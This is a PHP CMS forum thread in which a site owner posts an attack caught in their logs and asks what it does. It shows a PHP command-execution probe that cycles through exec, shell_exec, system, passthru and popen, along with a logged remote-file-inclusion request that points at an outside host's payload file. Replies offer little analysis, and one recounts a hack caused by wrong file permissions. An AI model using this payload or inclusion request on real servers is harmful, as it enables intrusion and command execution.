Possible Attack Code?

Post non-phpwcms related topics here - but I don't want to see "hey check this or that other cms". Post if you have a point or worthwhile comment, don't post just to increase you post count!
Post Reply
User avatar
sustia
Posts: 651
Joined: Fri 2. Apr 2004, 22:29
Location: Lecce (Italy)
Contact:

Possible Attack Code?

Post by sustia »

Hi, often happen me to see in phpwcms_bad_behavior this kind of code:

Code: Select all

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
Anyway, seems that nothing happens with my wcms's installation, but is an attack of what?
What type of damages can provoke?

Code: Select all

request_uri: /index.php?id=http://www.technic-marine-location.com/modules/icontent/include/wysiwyg/id.txt?

http_headers: GET /index.php?id=http://www.technic-marine-location.com/modules/icontent/include/wysiwyg/id.txt? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: noria.ba.cnr.it
User-Agent: libwww-perl/5.807
Campeones del mundo!
Vegetables!
User avatar
DeXXus
Posts: 2168
Joined: Fri 28. Nov 2003, 06:20
Location: USA - Florida

Post by DeXXus »

User avatar
sustia
Posts: 651
Joined: Fri 2. Apr 2004, 22:29
Location: Lecce (Italy)
Contact:

Post by sustia »

Hi DeXXus, which could be the consequences of this attack?
Campeones del mundo!
Vegetables!
User avatar
DeXXus
Posts: 2168
Joined: Fri 28. Nov 2003, 06:20
Location: USA - Florida

Post by DeXXus »

sustia wrote:Hi DeXXus, which could be the consequences of this attack?

I really do not know. There isn't enough discussion to get a sense, really. Maybe mention it to your host and inquire whether they think you are at risk? Sorry to be of no real insight.
User avatar
sustia
Posts: 651
Joined: Fri 2. Apr 2004, 22:29
Location: Lecce (Italy)
Contact:

Post by sustia »

Hi, don't worry, thanks anyway.
Campeones del mundo!
Vegetables!
User avatar
albu
Posts: 22
Joined: Sat 31. Dec 2005, 18:06
Location: Germany
Contact:

Post by albu »

may be a little "off" the thread - but on my site it wasn't the code - I simply made a mistake when making CHMOD after upload to the server. I didn't control (..yes I know...) and all went well - until 7 days ago, when due to this error My site was hacked! AGAIN: Not PHPWCMS was the Problem - the man in front of the monitor was the problrem (some hours I was a mexican bank...phishing attack)
Post Reply